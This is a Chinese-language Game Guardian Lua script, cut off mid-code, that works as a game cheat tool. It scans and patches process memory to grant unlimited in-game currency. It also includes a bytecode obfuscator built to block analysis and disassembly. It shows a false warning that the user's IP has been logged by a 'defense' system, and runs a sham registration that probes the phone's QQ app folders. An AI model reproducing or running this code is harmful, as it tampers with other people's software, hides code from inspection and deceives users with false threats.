ip="http://httpdns.c.cdnhwc2.com/dns/live?num=5&domain=d4-pro.a.kwimgs.com" Obtain=gg.makeRequest(ip).content ip=Obtain:match('clientIp":"(.-)","') draw.setStyle('填充') draw.setColor("#846DCA") draw.setSize(27) draw.text('欢迎进入!已连接阿尔法防御,您的ip是['..ip..']请不要违法行为已将您的ip记录库', 600, 25) file.mkdir("/sdcard/花L絮※文件") Qr_fqHvNBzh='Main' function Main() 你的设备码=base64.encode(math.random(0, 114514)) 注册=gg.prompt({"❤️请输入本机QQ号完成注册!❤️\n---------------------------\n✨输入专用暗号即可一键注册✨\n✨(虚拟机或者手机安卓>=12请使用暗号注册)✨\n\n---------------------\n🎁输入1退出脚本🎁"},{""},{"text"}) if 注册==nil then elseif 注册[1]=="" then gg.alert("QQ号不能为空😡😡😡") elseif 注册[1]=="1" then os.exit() elseif 注册[1]=="😭😭😭😱😱😱" then local file = io.open("/sdcard/花L絮※文件/用户注册的数据", "r") if file == nil then local file = io.open("/sdcard/花L絮※文件/用户注册的数据", "w") if file ~= nil then file:write("已注册") file:close() end end local file = io.open("/sdcard/花L絮※文件/用户注册的QQ号", "r") if file == nil then local file = io.open("/sdcard/花L絮※文件/用户注册的QQ号", "w") if file ~= nil then file:write("使用暗号注册") file:close() local file = io.open("/sdcard/花L絮※文件/用户设备码", "r") if file == nil then local file = io.open("/sdcard/花L絮※文件/用户设备码", "w") if file ~= nil then file:write(你的设备码) file:close() local file = io.open("/sdcard/花L絮※文件/"..你的设备码, "r") if file == nil then local file = io.open("/sdcard/花L絮※文件/"..你的设备码, "w") if file ~= nil then file:write(114514) file:close() gg.toast("注册成功") 是否注册成功=false 正在使用者的QQ号=file.read("/sdcard/花L絮※文件/用户注册的QQ号") 使用者设备码=file.read("/sdcard/花L絮※文件/用户设备码") if 正在使用者的QQ号~="使用暗号注册" then else end end end end end end end else local 查QQ = { 注册[1], "114514", } for i, k in pairs(查QQ) do local 写的QQ = "/sdcard/Android/data/com.tencent.mobileqq/Tencent/MobileQQ/"..注册[1] if os.rename(写的QQ, 写的QQ) then local file = io.open("/sdcard/花L絮※文件/用户注册的数据", "r") if file == nil then local file = io.open("/sdcard/花L絮※文件/用户注册的数据", "w") if file ~= nil then file:write("已注册") file:close() end end local file = io.open("/sdcard/花L絮※文件/用户注册的QQ号", "r") if file == nil then local file = io.open("/sdcard/花L絮※文件/用户注册的QQ号", "w") if file ~= nil then file:write(注册[1]) file:close() local file = io.open("/sdcard/花L絮※文件/用户设备码", "r") if file == nil then local file = io.open("/sdcard/花L絮※文件/用户设备码", "w") if file ~= nil then file:write(你的设备码) file:close() local file = io.open("/sdcard/花L絮※文件/"..你的设备码, "r") if file == nil then local file = io.open("/sdcard/花L絮※文件/"..你的设备码, "w") if file ~= nil then file:write(114514) file:close() gg.toast("注册成功") 是否注册成功=false 正在使用者的QQ号=file.read("/sdcard/花L絮※文件/用户注册的QQ号") 使用者设备码=file.read("/sdcard/花L絮※文件/用户设备码") if 正在使用者的QQ号~="使用暗号注册" then else end end end end end end end else gg.alert("你居然不诚实赶紧重写") end end end end if file.read("/sdcard/花L絮※文件/用户注册的数据")=="已注册"and file.read("/sdcard/花L絮※文件/用户注册的QQ号")~=nil and file.read("/sdcard/花L絮※文件/用户设备码")~=nil then gg.toast("注册验证通过") 正在使用者的QQ号=file.read("/sdcard/花L絮※文件/用户注册的QQ号") 使用者设备码=file.read("/sdcard/花L絮※文件/用户设备码") if 正在使用者的QQ号~="使用暗号注册" then else end else file.delete("/sdcard/花L絮※文件/用户注册的QQ号") file.delete("/sdcard/花L絮※文件/用户注册的数据") file.delete("/sdcard/花L絮※文件/用户设备码") 是否注册成功=true while 是否注册成功 do if gg.isVisible(true) then gg.setVisible(false) _G[Qr_fqHvNBzh]() end end end function 加密() --使用gg机器脚本执行 local path,rw,code,randomStr,randomKey,keyTable,keyLen,decName,enc,data,class_list,keyName,lenName,path2,Replace,max, Table_Rand,table_maxn local ENC={} ENC.last=gg.getFile() ENC.info=nil ENC.config=gg.EXT_FILES_DIR:gsub("%lua$","").."/ENC.Lua" ENC.data=loadfile(ENC.config) if ENC.data~=nil then; ENC.info=ENC.data() ENC.data=nil end if ENC.info==nil then ENC.info={ENC.last} end JS=gg.prompt({"选择脚本:","限制工具","指令错位[选]","刷取图标[选]","区块加固[选]","防止拆卸[不选]","陷阱指令[选]","算法加固[选]","拆卸内存","指令加强[选]"},ENC.info,{"file","checkbox","checkbox","checkbox","checkbox","checkbox","checkbox","checkbox","checkbox","checkbox","checkbox"}) if JS==nil then os.exit(print("未选择文件"))end gg.saveVariable(JS,ENC.config) ty=io.open(JS[1],"r"):read("*a") if JS[2]==true then XZGJ=gg.prompt({"版本:","版本号:","包名:"},{gg.VERSION,gg.BUILD,gg.PACKAGE},{"text","text","text"}) FY1=[=[ if gg.VERSION=='版本'then else print('错误行为')os.exit()while true do end end if gg.BUILD=='版本号'then else print('错误行为')os.exit()while true do end end if gg.PACKAGE=='包名'then else print('错误行为')os.exit()while true do end end ]=] ty=FY1.."\n"..ty ty=ty:gsub('版本号',XZGJ[2]) ty=ty:gsub('版本',XZGJ[1]) ty=ty:gsub('包名',XZGJ[3]) end FY=[=[ ]=] local XH={} XH.random={} XH.random.used={} function XH.random.get(Length) Length=Length or 6 local Table={} for index=1,Length do local random,byte=math.random(1,26) if index % 2==1 then byte=random+96 else byte=random+64 end Table[#Table+1]=string.char(byte) end local Content=table.concat(Table) if XH.random.used[Content]then return XH.random.get(Length+1) end XH.random.used[Content]=1 if XH.ty and string.match(XH.ty,'[^%w_]'..Content..'[^%w_]')then return XH.random.get(Length+1) end return Content end local BLHX BLHX={} ty=ty:gsub('([%a_][%w_]*)%s*=',function(P1) BLHX[P1]=1 end) for k,v in pairs(BLHX)do v=XH.random.get() ty=ty:gsub('([^%w_])'..k..'([^%w_])','%1'..v..'%2') end local fuc={["gg"]=2,["os"]=2,["io"]=2,["string"]=2,["math"]=2,["table"]=2,["debug"]=2,["bit32"]=2,["utf8"]=2,} local Fuc_Enc=function(ltre) for v,s in pairs(_ENV)do if type(s)=="table"and fuc[v]then Enc_func1=ZFC(v) for i in pairs(s)do if ltre:find(v.."%."..i)then Enc_func2=ZFC(i) ltre=ltre:gsub("([^%w_])"..v.."%."..i.."%(","%1_ENV["..Enc_func1.."]".."["..Enc_func2.."](") ltre=ltre:gsub("([^%w_])"..v.."%."..i.."%)","%1_ENV["..Enc_func1.."]".."["..Enc_func2.."])") ltre=ltre:gsub("([^%w_])"..v.."%."..i.."%s*,","%1_ENV["..Enc_func1.."]".."["..Enc_func2.."],") ltre=ltre:gsub("=(%s*)"..v.."%."..i.."([^%w_])","=%1_ENV["..Enc_func1.."]".."["..Enc_func2.."]%2") ltre=ltre:gsub("([^%w_])"..v.."%."..i.."%s*=","%1_ENV["..Enc_func1.."]".."["..Enc_func2.."]=") end end elseif type(s)=="function"and debug.getinfo(s)["what"]=="Java"then if ltre:find(v)then ltre=ltre:gsub("([^%w_])"..v.."%(","%1_ENV["..ZFC(v).."](") ltre=ltre:gsub("=%s*"..v.."([^%w_])","=_ENV["..ZFC(v).."]%1") ltre=ltre:gsub("([^%w_])"..v.."%s*=","%1_ENV["..ZFC(v).."]=") end end end return ltre end SF=math.random(10,110) ZFC=function(zfc) local t={string.byte(zfc,1,-1)} for i,v in pairs(t) do t[i]=string.format('\\x%02X',v~SF) end zfc=table.concat(t) zfc='JS("'..zfc..'")' zfc="(function() while(function(_)return _ end)()do ::JS:: if(function()end)()then goto JS end _ENV['JS']=nil _ENV['JS']=166643870 _ENV['JS']=-166643870 end return "..zfc.." end)()" return zfc end ZFCPZ='local JS=function(t)t={string.byte(t,1,-1)}for i,v in pairs(t)do t[i]=v~'..SF..' end return string.char(table.unpack(t))end\n' ty=FY..ty ty=ty:gsub('\39(.-)\39',ZFC) ty=ty:gsub('\34(.-)\34',ZFC) ty=Fuc_Enc(ty) ty=ZFCPZ..ty ty=ty:gsub("([^%w_])function%s+([%a_][%w_]*)%s*(%([%w_%.,%s]*%))","%1%2=function%3") Local={} num=0 for txt1 in string.gmatch(ty,'[^%.]%s*([%a_][%w_]*)%s*=')do num=num+1 Local[txt1]=num end ty2='local ' if num>0 and num<190 then for k,v in pairs(Local)do ty2=ty2..k..',' end ty3=ty ty2=string.sub(ty2,1,-2)..'\n' ty=ty2..ty if not load(ty)then ty=ty3 else Local={} num2=0 for txt1 in string.gmatch(ty,'function%s+([%a_]*)%(')do num2=num2+1 Local[txt1]=num2 end if num>0 and(num+num2)<190 then ty2='local ' for k,v in pairs(Local)do ty2=ty2..k..',' end ty3=ty ty2=string.sub(ty2,1,-2)..'\n' ty=ty2..ty if not load(ty)then ty=ty3 end end end end if JS[9]==true then lasm="while i do\nlocal i\nwhile i==QQ166643870 do\n"..("_ENV[\"CTSJNB\"]=\"CTSJNB\"\n"):rep(math.random(3000,4000)).."end\nbreak\nend" else lasm="" end ty=lasm.."\n"..ty TY=JS[1]:gsub("(.+)/(.+)",function(x,y) CoNe="".. y return x..""..y end) ty="local BY=(function(...)\nlocal JS=(function(...)\n"..ty..'\nend)(_ENV)\nend)(JS)([=[ \n\n\n'..[=[ 我们永远无法忘怀罪过 //恋少加密// 至尊版◆◆ 加密等级:◆◆◆◆◆◆◆◆ ______________________ ]=]..' \n\n\n--[[]=])' io.open(JS[1]..".[字符串].Lua","w"):write(ty) ty=load(ty) ty=string.dump(ty,true,true) TY=JS[1]..'.JS.lasm' if not gg.internal2(load(ty),TY)then return gg.alert('加密失败')end ty=io.open(TY,"r"):read("*a") os.remove(TY) ty=ty:gsub("166643870","1.8e308") local function JSHX(t) local tRet={} local Total=#t while Total>0 do local i=math.random(1,Total) table.insert(tRet,t[i]) t[i]=t[Total] Total=Total-1 end return tRet end local JMP={['EXTRAARG']=2,['MOVE']=2,['UNM']=2,['NOT']=2,['LEN']=2,['ADD']=2,['SUB']=2,['MUL']=2,['DIV']=2,['MOD']=2,['POW']=2,['GETTABLE']=2,['SETTABLE']=2,['NEWTABLE']=2,['SELF']=2,['SETLIST']=2,['LOADNIL']=2,['CONCAT']=2,['CALL']=2,['VARARG']=2,['TAILCALL']=2,['TFORCALL']=2,['GETUPVAL']=2,['SETUPVAL']=2,['GETTABUP']=2,['SETTABUP']=2,['CLOSURE']=2,['RETURN']=2,} local SQZL=string.rep("\nRETURN\n",4) function JMPHX(JMP1,JMP2) local BQ={"🄹","🅂"} local SF=166643870 CF=function() local Vr={"\t","TFORLOOP v245 GOTO[1666]","\n",} return Vr[math.random(1,#Vr)] end local PZ function PZ() SF=SF+1 if SF>#BQ then SF=1 end local TAB={} local b=gg.bytes(BQ[SF]) local tab={} for k,v in pairs(b) do table.insert(tab,1,string.format("%x",v)) end tab=table.concat(tab) tab=tab:gsub("........",function (x) table.insert(TAB,1,"OP[48] 0x"..x.."\n") end,1) return "\n"..table.concat(TAB) end if not JMP2 then PZ=function() return "" end end JMP1=JMP1:gsub("; .local v[^\n]+\n",""):gsub("\n%s*; .end local v[^\n]+",""):gsub("\n%s+","\n") JMP1=JMP1:gsub("maxstacksize (%d+)(.-RETURN[^\nv]+)\n",function(max,str) if #str>100 then local JMP3={} local JMP4=1000000 local JMP5={} local JMP6={} str=str:gsub("[^\n]+",function(s) THZL=s:match("%S+") local JMP7,JMP8,JMP9,HX=nil,nil,nil,nil if THZL==".upval" or THZL == ".line"then JMP3[#JMP3+1]=s JMP8=true end if JMP4>1005000 then HX=true end if THZL == "LOADK" and HX == nil then JMP4=JMP4+1 JMP6[#JMP6+1]=":goto_"..JMP4.."\n"..s.."\nTFORLOOP v245 :goto_"..(JMP4+1)..PZ().."\n"..CF()..SQZL JMP4=JMP4+1 JMP7=true end if JMP[THZL] then JMP4=JMP4+1 if THZL == "RETURN" and s:find("v") == nil then JMP5[#JMP5+1]=":goto_"..JMP4.."\n"..s JMP9=true else JMP5[#JMP5+1]=":goto_"..JMP4.."\n"..s.."\nTFORLOOP v245 :goto_"..(JMP4+1)..PZ().."\n"..CF()..SQZL JMP4=JMP4+1 JMP7=true end end if JMP7 then return "TFORLOOP v245 :goto_"..(JMP4-1).."\n:goto_"..JMP4 elseif JMP8 then return "" elseif JMP9 then return "TFORLOOP v245 :goto_"..JMP4..SQZL else return s end end) str=":goto_1000000\n"..str..SQZL local HXJS={} for i in str:gmatch(":goto_%d+.-TFORLOOP v245 :goto_%d+")do HXJS[#HXJS+1]=i end str=table.concat(JSHX(HXJS),"\n") return "maxstacksize "..max.."\n"..table.concat(JMP3,"\n").."\nLOADBOOL v246 1\nLOADK v246 1\nTFORLOOP v245 :goto_1000000\n"..table.concat(JSHX(JMP5),"\n").."\n"..str.."\n"..table.concat(JSHX(JMP6),"\n").."\n" else return "maxstacksize "..max..str.."\n" end end) JMP1=JMP1:gsub("\n%s+","\n") return JMP1 end QK={} QK1=520520 QK2=5201314 local Q_1,Q_2,Q_3,Q_4 local QK3,QK4={},{},{} QK5=function(QK6) QK6=QK6:gsub("CLOSURE v0 F0","CLOSURE v0 F520520") Q_4="\n.line 0\n"..QK6.."\n" table.insert(QK3,Q_4) for i=1,255 do Q_1="\n.func F"..tostring(QK1).."\n" Q_2="\n.source \"JS\x00\"\n.linedefined 0\n.lastlinedefined 0\n.numparams 250\n.is_vararg 250\n.maxstacksize 250\n.upval u0 nil ; u0\n" QK1=QK1+1 Q_3="CLOSURE v0 F"..tostring((QK1)).."\nVARARG v1\nTAILCALL v0\n" Q_3=Q_1..Q_2..Q_3 table.insert(QK3,Q_3) table.insert(QK4,".end") end Q_1="\n.func F"..tostring(QK1).."\n" Q_2="\n.source \"JS\x00\"\n.linedefined 0\n.lastlinedefined 0\n.numparams 250\n.is_vararg 250\n.maxstacksize 250\n.upval u0 nil ; u0\n" Q_3="CLOSURE v0 F0\nVARARG v1\nTAILCALL v0\n" Q_3=Q_1..Q_2..Q_3 table.insert(QK3,Q_3) table.insert(QK4,".end") return table.concat(QK3,"\n") end LASM=function() local tab={} for i=1,16 do tab[i]=string.char(math.random(1,255)) end return table.concat(tab) end if JS[3]==true then if JS[4]==true then ty=JMPHX(ty,true) else ty=JMPHX(ty) end soucr=load(ty) if soucr==nil then gg.alert("JMP加密失败","") io.open(TY.."[报错文件].Lua","w"):write(ty) os.exit() end end if JS[5]==true then ty=ty:gsub("%.line 0\n(.-).func F0(.-)\n",(function(QK7,QK8) return QK5(QK7).."\n.func F0"..QK8.."\n" end)) ty=ty:gsub("%;%s*%]%=%=%=%=%=%=%=%=%=%](.-)%s*",(function(ty) ty="\n"..table.concat(QK4,"\n").."\n; ]=========]"..ty return ty end)) ty=ty:gsub("%s*\n%s*","\n") end ty=ty:gsub("is_vararg[^\n]*","is_vararg 250") ty=ty:gsub("linedefined[^\n]*","linedefined 0") ty=ty:gsub("numparams[^\n]*","numparams 250") ty=ty:gsub("lastlinedefined(^\n]*","lastlinedefined 0") ty=ty:gsub("maxstacksize[^\n]*","maxstacksize 250") if JS[6]==true then ty=ty:gsub('(\n%s*RETURN [^\n]*)','%1\nRETURN v250..v250;\x4A\x53\n',1) ty=ty:gsub('(\n%s*TAILCALL [^\n]*)','%1\nRETURN v250..v250;\x4A\x53\n',1) end if JS[7]==true then local SJSF=function() return math.random(100,1100) end ty=ty:gsub("[^\n]*NEWTABLE[^\n]*", function(txt) return txt:gsub("(NEWTABLE v%d+) %d+ (%d+)","%1 "..SJSF().." %2") end) end if JS[8]==true then function SAN_t() local Random=math.random(1,20) return string.rep("�",Random) end TAB_SAN={} for k=231,239 do TAB_SAN[#TAB_SAN+1]="LOADK v"..k..' "'..SAN_t()..'"' end ty=ty:gsub("[^\n]*LOADK v246 1[^\n]*",function(txt) return txt:gsub(".+",txt.."\nNEWTABLE v239 200 0\n"..table.concat(TAB_SAN,"\n").."\n") end) end if JS[10]==true then local TFORLOOP=require('RL') ty=TFORLOOP.enc(ty) end ty=string.gsub(string.dump(load(ty),true),"LuaR","LuaR") ty=ty:gsub('\x9F\x3E\x00\x01','\x24\x00\x00\x00') ty=ty:gsub("\x00\x00\x00\x00\x00\x00\x00\x00\xFA\xFA\xFA(....)\x17...",function(y) return "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFA\xFA\xFA"..y.."\x63\xBD"..string.char(math.random(255,255),math.random(10,110))end) ty=ty:gsub(string.rep(string.char(0x1F,0x00,0x80,0x00),4),LASM) ty=ty:gsub(string.char(0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFA,0xFA,0xFA),string.char(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFA,0xFA,0xFA)) if JS[9]==true then local TeSl=function(num) local THSF={} if not num then num=math.random(30000,35000) end for x=1,num do THSF[#THSF+1]=string.char(math.random(10,110)) end return table.concat(THSF) end local Ren=math.random(5000,7000)+1 local x1=Ren/256 local x2=Ren%256 local Ren=TeSl(Ren-1) ty = ty:gsub("\004\022\000\000\000CTSJNB",function(x) return "\004"..string.char(x2,x1).."\000\000"..Ren end) local Ner=TeSl(math.random(10000,13000)).."\x04"..string.char(x2,x1).."\x00\x00"..Ren.."\000"..TeSl(math.random(10000,13000)) local y1=(#Ner+1)/256 local y2=(#Ner+1)%256 ty=ty:gsub("\004\022\000\000\000CTSJNB",function(x) return "\004"..string.char(y2,y1).."\000\000"..Ner end) end local get_str = function(l) local t={} for i=1,l do t[i]=math.random(10,110) end return string.char(table.unpack(t)) end for k,v in pairs(XH.random.used)do ty=ty:gsub('\x04\x07\x00\x00\x00('..k..')\x00',function(k2) local v2=XH.random.used[k2] if v2==1 then v2=get_str(10) XH.random.used[k2]=v2 end return '\x04\x0B\x00\x00\x00'..v2..'\x00' end) end io.open(JS[1]..".[加密完成].Lua","w"):write(ty.."\nJS") gg.alert('加密成功\n文件为:'..JS[1],'确定') end function 改金币() local freezeData = {} function xqmnb(Search, Modification) gg.clearResults() gg.setRanges(Search[1].memory) gg.searchNumber(Search[3].value, Search[3].type, false, 536870912, 0, -1) local count = gg.getResultCount() if count == 0 then gg.toast(Search[2].name..'开启失败,数量过少') return nil -- 开启失败返回 nil elseif count > 2000 then gg.toast(Search[2].name..'开启失败,数量过多') return nil -- 开启失败返回 nil end local Result = gg.getResults(count) local offsetOperations = #Search - 3 -- 计算偏移操作的总数 for i = 4, #Search do local sum = 0 for j = 1, #Result do if gg.getValues({{address = Result[j].address + Search[i].offset, flags = Search[i].type}})[1].value ~= Search[i].lv then Result[j].Usable = true sum = sum + 1 end end if sum == #Result then gg.toast(Search[2].name..'开启失败') return nil -- 开启失败返回 nil end -- 显示进度弹窗提示 local progressMsg = string.format("已筛选: %d / %d ", i - 3, offsetOperations) gg.toast("正在进行高级算法筛选中..") gg.sleep(250) gg.toast(progressMsg) end local Data, Freeze = {}, {} local sum, Freezes = 0, 0 for _, value in ipairs(Modification) do for j = 1, #Result do if not Result[j].Usable then local v = {address = Result[j].address + value.offset, flags = value.type, value = value.value, freeze = value.freeze} if value.freeze then Freeze[#Freeze + 1] = v Freezes = Freezes + 1 else Data[#Data + 1] = v end sum = sum + 1 end end end gg.setValues(Data) gg.addListItems(Freeze) local msg = Search[2].name..'开启成功,共修改'..sum..'条数据' if Freezes > 0 then msg = msg..',冻结'..Freezes..'条数据' end gg.toast(msg) gg.clearResults() -- 记录冻结栏数据 return Freeze -- 开启成功返回冻结栏数据 end function restoreData(savedFreezeData) if #savedFreezeData == 0 then gg.toast("请使用开启关闭") return end local Data = {} for _, v in ipairs(savedFreezeData) do Data[#Data + 1] = {address = v.address, flags = v.flags, value = v.value, freeze = false} end gg.setValues(Data) gg.clearResults() gg.toast("已关闭,数据已恢复") end local qmnb = { {['memory']=4}, {['name']='无限金币'}, {['value']='', ['type']=4}, -- 初始值为空,后续获取输入 {['lv']=1.401298464324817E-45,['offset']=-32, ['type']=16}, {['lv']=0,['offset']=-30, ['type']=2}, {['lv']=1,['offset']=4, ['type']=4}, {['lv']=0,['offset']=6, ['type']=2}, {['lv']=1,['offset']=16, ['type']=4}, {['lv']=1,['offset']=28, ['type']=4}, {['lv']=1,['offset']=-20, ['type']=4}, {['lv']=1.401298464324817E-45,['offset']=-8, ['type']=16}, {['lv']=1,['offset']=4, ['type']=4}, {['lv']=1,['offset']=16, ['type']=4} } local qmxg = { {['value']='',['offset']=0,['type']=4,true} -- 初始值为空,后续获取输入 } while true do local choice = gg.choice({"开启无限金币", "关闭无限金币", "取消"}, "请选择操作") if choice == 1 then local jb = gg.prompt({"请输入现有金币"}, {"", ""}, {"text"}) if not jb or jb[1] == "" then gg.toast((not jb and "输入已取消,请重新操作") or "输入不能为空,请重新输入") end gg.setVisible(false) local jb1 = gg.prompt({"要改多少呢"}, {"", ""}, {"text"}) if not jb1 or jb1[1] == "" then gg.toast((not jb1 and "输入已取消,请重新操作") or "输入不能为空,请重新输入") end local inputValue = tonumber(jb1[1]) if inputValue and inputValue < 10 then gg.toast("数字必须大于10!") end qmnb[3].value = jb[1] qmxg[1].value = jb1[1] local newFreezeData = xqmnb(qmnb, qmxg) if newFreezeData then freezeData = newFreezeData -- 保存开启成功的冻结栏数据 end elseif choice == 2 then restoreData(freezeData) elseif choice == 3 then break end end end function 改源石() local freezeData = {} function xqmnb(Search, Modification) gg.clearResults() gg.setRanges(Search[1].memory) gg.searchNumber(Search[3].value, Search[3].type, false, 536870912, 0, -1) local count = gg.getResultCount() if count == 0 then gg.toast(Search[2].name..'开启失败,数量过少') return nil -- 开启失败返回 nil elseif count > 2000 then gg.toast(Search[2].name..'开启失败,数量过多') return nil -- 开启失败返回 nil end local Result = gg.getResults(count) local offsetOperations = #Search - 3 -- 计算偏移操作的总数 for i = 4, #Search do local sum = 0 for j = 1, #Result do if gg.getValues({{address = Result[j].address + Search[i].offset, flags = Search[i].type}})[1].value ~= Search[i].lv then Result[j].Usable = true sum = sum + 1 end end if sum == #Result then gg.toast(Search[2].name..'开启失败') return nil -- 开启失败返回 nil end -- 显示进度弹窗提示 local progressMsg = string.format("已筛选: %d / %d ", i - 3, offsetOperations) gg.toast("正在进行高级算法筛选中..") gg.sleep(250) gg.toast(progressMsg) end local Data, Freeze = {}, {} local sum, Freezes = 0, 0 for _, value in ipairs(Modification) do for j = 1, #Result do if not Result[j].Usable then local v = {address = Result[j].address + value.offset, flags = value.type, value = value.value, freeze = value.freeze} if value.freeze then Freeze[#Freeze + 1] = v Freezes = Freezes + 1 else Data[#Data + 1] = v end sum = sum + 1 end end end gg.setValues(Data) gg.addListItems(Freeze) local msg = Search[2].name..'开启成功,共修改'..sum..'条数据' if Freezes > 0 then msg = msg..',冻结'..Freezes..'条数据' end gg.toast(msg) gg.clearResults() -- 记录冻结栏数据 return Freeze -- 开启成功返回冻结栏数据 end function restoreData(savedFreezeData) if #savedFreezeData == 0 then gg.toast("请使用开启关闭") return end local Data = {} for _, v in ipairs(savedFreezeData) do Data[#Data + 1] = {address = v.address, flags = v.flags, value = v.value, freeze = false} end gg.setValues(Data) gg.clearResults() gg.toast("已关闭,数据已恢复") end local qmnb = { {['memory']=4}, {['name']='无限源石'}, {['value']='', ['type']=4}, -- 初始值为空,后续获取输入 {['lv']=1.401298464324817E-45,['offset']=-32, ['type']=16}, {['lv']=0,['offset']=-30, ['type']=2}, {['lv']=1,['offset']=4, ['type']=4}, {['lv']=0,['offset']=6, ['type']=2}, {['lv']=1,['offset']=16, ['type']=4}, {['lv']=1,['offset']=28, ['type']=4}, {['lv']=1,['offset']=-20, ['type']=4}, {['lv']=1.401298464324817E-45,['offset']=-8, ['type']=16}, {['lv']=1,['offset']=4, ['type']=4}, {['lv']=1,['offset']=16, ['type']=4} } local qmxg = { {['value']='',['offset']=0,['type']=4,true} -- 初始值为空,后续获取输入 } while true do local choice = gg.choice({"开启无限源石", "关闭无限源石", "取消"}, "请选择操作") if choice == 1 then local jb = gg.prompt({"请输入现有源石"}, {"", ""}, {"text"}) if not jb or jb[1] == "" then gg.toast((not jb and "输入已取消,请重新操作") or "输入不能为空,请重新输入") end gg.setVisible(false) local jb1 = gg.prompt({"要改多少呢"}, {"", ""}, {"text"}) if not jb1 or jb1[1] == "" then gg.toast((not jb1 and "输入已取消,请重新操作") or "输入不能为空,请重新输入") end local inputValue = tonumber(jb1[1]) if inputValue and inputValue < 10 then gg.toast("数字必须大于10!") end qmnb[3].value = jb[1] qmxg[1].value = jb1[1] local newFreezeData = xqmnb(qmnb, qmxg) if newFreezeData then freezeData = newFreezeData -- 保存开启成功的冻结栏数据 end elseif choice == 2 then restoreData(freezeData) elseif choice == 3 then break end end end function 弹出提示(text) text = tostring(text) local block = luajava.getBlock() local layout = luajava.loadlayout({ LinearLayout, background = jianbian7, gravity = 'center', layout_height = 'match_parent', layout_width = 'match_parent', layout_wight = '0.1', { TextView, id = luajava.newId('TextView'), text = text, textSize = '14sp', textColor = "#7DF7F8", margins = { '53dp', '6dp', '53dp', '6dp' } } }) local function invoke() if toaa == nil then toaa = Toast:makeText(app.context, '', 1) end toaa:setView(layout) toaa:show() end luajava.handlerPost(invoke) end --[[ floatingWindowManager ]] -- local floatingWindowManager = require('floatingWindowManager') floatingWindowManager:init() -- 中断线程 local function interruptThread(thread) if thread then pcall(function() thread:interrupt() end) end end -- 获取异步线程回调 local function getASyncThreadCallbak(func) return function() luajava.startThread(function() return pcall(func) end) end end -- 获取同步线程回调, 涉及gg类库的回调只能使用这种,否则可能不稳定 local task local function getSyncThreadCallbak(func) return function() if task then cdfw=false 弹出提示('正在停止需要点两次') return end luajava.startThread(function() task = true pcall(func) task = nil end) end end -- 获取同步线程回调并执行 local function callSyncThreadCallbak(func) return getSyncThreadCallbak(func)() end -- 通过功能名称找 function 并获取同步线程回调 local function findFunctionByName(name) local func = _ENV[name] if not isFunction(func) then gg.alert(string.format('不存在 %q 功能', name)) return nil end return getSyncThreadCallbak(func) end -- 按钮工厂-生产“按钮布局” local function newButtonLayout(name) if not isString(name) then return end local layout = { Button, background = floatingWindowManager:getStateListDrawable(), layout_width = 'match_parent', layout_margin = '5dp', text = name, textSize = '16sp', onClick = findFunctionByName(name) } return layout end -- 开关工厂-生产“开关布局” local function newSwitchLayout(openName, closeName) if not isString(openName) then return end local layout = { Switch, layout_width = 'match_parent', text = openName, onCheckedChange = function(CompoundButton, state) local func if state then -- 设置开关文本为“关闭”的文本 if isString(closeName) then CompoundButton:setText(closeName) end -- 找“打开”的功能函数 func = findFunctionByName(openName) else -- 设置开关文本为“打开”的文本 CompoundButton:setText(openName) if isString(closeName) then -- 找“关闭”的功能函数 func = findFunctionByName(closeName) end end if isFunction(func) then -- 通过 findFunctionByName 获取的函数已经是被多线程包裹的,所以直接执行就可以了 func() end end } return layout end -- 定义功能函数 floatingWindowManager:newWindow(('导航Amapp v1.0.6'):format(floatingWindowManager.version), { onCreate = function(floatingWindow) floatingWindow:addlayout({ ScrollView, layout_margin = '10dp', layout_width = 'match_parent', layout_height = 'match_parent', { LinearLayout, background = floatingWindowManager:getStateListDrawable(), layout_width = 'match_parent', layout_height = 'match_parent', orientation = 'vertical', padding = '10dp', { Button, background = floatingWindowManager:getStateListDrawable(), layout_width = 'match_parent', layout_margin = '2dp', text = '高极算法导航', textSize = '16sp', onClick = function() local function interruptThread(thread) if thread then pcall(function() thread:interrupt() end) end return function() luajava.startThread(function() return pcall(func) end) end end -- 简化获取同步线程回调的函数,去掉任务判断逻辑 local function getSyncThreadCallbak(func) return function() -- 去掉了对 task 的判断逻辑,直接执行函数 luajava.startThread(function() pcall(func) end) end end -- 调整获取同步线程回调并执行的函数,简化调用流程 local function callSyncThreadCallbak(func) local callback = getSyncThreadCallbak(func) callback() end function xc() WB = {} fixedTarget = {y = dy, z = dz, x = dx} -- 固定目标坐标 -- 获取自身坐标地址 function getSelfAddresses() gg.setRanges(4) gg.clearResults() gg.searchNumber("17039364", gg.TYPE_QWORD) local k = gg.getResults(1) if #k == 0 then print("未找到自身坐标,请检查搜索值是否正确!") return false end local l = gg.getValues(k) local decimalNumber = l[1].address WB["x"] = decimalNumber - 12 WB["y"] = decimalNumber - 8 WB["z"] = decimalNumber - 4 return true end -- 获取自身和固定目标的实时坐标 function getCoordinates() local selfX = gg.getValues({{address = WB["x"], flags = 16}})[1].value local selfY = gg.getValues({{address = WB["y"], flags = 16}})[1].value local selfZ = gg.getValues({{address = WB["z"], flags = 16}})[1].value local targetX = fixedTarget.x local targetY = fixedTarget.y local targetZ = fixedTarget.z return selfX, selfY, selfZ, targetX, targetY, targetZ end -- 计算导航方向 function calculateDirection(selfX, selfY, selfZ, targetX, targetY, targetZ, playerDirection) -- 参数验证 if type(selfX) ~= "number" or type(selfY) ~= "number" or type(selfZ) ~= "number" then return "错误:自身坐标参数必须为数值类型" end if type(targetX) ~= "number" or type(targetY) ~= "number" or type(targetZ) ~= "number" then return "错误:目标坐标参数必须为数值类型" end if type(playerDirection) ~= "number" then return "错误:玩家朝向参数必须为数值类型" end local disx = targetX - selfX local disz = targetZ - selfZ -- 计算角度 local angle = math.atan2(disz, disx) local adjustedAngle = angle - playerDirection local adjustedAngleDeg = math.deg(adjustedAngle) -- 归一化角度到-180到180范围 adjustedAngleDeg = adjustedAngleDeg % 360 if adjustedAngleDeg > 180 then adjustedAngleDeg = adjustedAngleDeg - 360 elseif adjustedAngleDeg < -180 then adjustedAngleDeg = adjustedAngleDeg + 360 end -- 定义方向划分的角度范围 local directions = { {range = {-22.5, 22.5}, name = "前方"}, {range = {22.5, 67.5}, name = "右前方"}, {range = {67.5, 112.5}, name = "右侧"}, {range = {112.5, 157.5}, name = "右后方"}, {range = {157.5, 180}, name = "后方"}, {range = {-180, -157.5}, name = "后方"}, {range = {-157.5, -112.5}, name = "左后方"}, {range = {-112.5, -67.5}, name = 